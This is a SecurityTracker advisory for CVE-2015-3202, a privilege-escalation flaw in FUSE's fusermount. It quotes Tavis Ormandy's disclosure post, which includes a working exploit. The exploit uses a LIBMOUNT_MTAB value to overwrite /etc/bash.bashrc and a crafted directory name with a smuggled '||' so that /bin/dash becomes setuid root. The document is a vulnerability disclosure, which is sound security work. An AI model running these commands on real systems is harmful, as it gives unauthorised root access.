Filesystem in Userspace (FUSE) LIBMOUNT_MTAB Environment Variable Sanitization Flaw Lets Local Users Gain Elevated Privileges
|
|
SecurityTracker Alert ID: 1032386 |
|
SecurityTracker URL: http://securitytracker.com/id/1032386
|
|
CVE Reference:
CVE-2015-3202
(Links to External Site)
|
Date: May 22 2015
|
Impact:
Modification of system information, Root access via local system
|
Exploit Included: Yes
|
Version(s): 2.9.3; possibly other versions
|
Description:
A vulnerability was reported in Filesystem in Userspace (FUSE). A local user can obtain elevated privileges on the target system.
A local user can supply a specially crafted LIBMOUNT_MTAB environment variable value to access restricted debug features and overwrite arbitrary files with elevated privileges.
Tavis Ormandy reported this vulnerability.
|
Impact:
A local user can obtain elevated privileges on the target system.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: fuse.sourceforge.net/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS: Linux (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Subject: [oss-security] CVE-2015-3202 fuse privilege escalation
|
Hello, this was discussed on the distros list last week.
The fusermount binary calls setuid(geteuid()) to reset the ruid when
it invokes /bin/mount so that it can use privileged mount options that
are normally restricted if ruid != euid. That's acceptable (but scary)
in theory, because fusermount can sanitize the call to make sure it's
safe.
http://sources.debian.net/src/fuse/2.9.3-15/util/mount_util.c/?hl=99#L99
However, because mount thinks it's being invoked by root, it allows
access to debugging features via the environment that would not
normally be safe for unprivileged users and fusermount doesn't
sanitize them.
Therefore, the bug is that the environment is not cleared when calling
mount with ruid=0. One debugging feature available is changing the
location of /etc/mtab by setting LIBMOUNT_MTAB, which can be abused to
overwrite arbitrary files.
This can be exploited like so.
$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc _FUSE_COMMFD=0 fusermount
'/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0
Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.
Tavis.
P.S. Just for fun, I also came up with a version that fits in a tweet
https://twitter.com/taviso/status/601370527437967360
|
|
